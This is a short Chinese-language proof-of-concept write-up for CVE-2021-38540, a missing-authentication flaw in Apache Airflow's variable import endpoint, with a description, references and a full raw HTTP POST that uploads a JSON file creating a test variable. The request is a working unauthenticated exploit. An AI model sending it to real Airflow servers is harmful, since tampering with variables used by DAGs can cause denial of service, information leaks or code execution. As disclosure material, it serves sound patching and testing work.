关键组件缺少身份验证,即 CVE-2021-38540
Airflow >=2.0.0, <2.1.3 中的变量导入端点未受身份验证保护。这允许未经身份验证的用户访问该端点以添加/修改 DAG 中使用的 Airflow 变量,可能导致拒绝服务、信息泄露或远程代码执行。此问题影响 Apache Airflow >=2.0.0, <2.1.3。[CVE-2021-38540]
此 PoC 包含一个请求,该请求将在 Admin>variables [List Variables] 下创建一个名为 kafka_captainhook_user 的变量。
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json
{
"kafka_captainhook_user": "testCaptain"
}
-----------------------------33976360506209910502051128075--
https://nvd.nist.gov/vuln/detail/CVE-2021-38540 https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E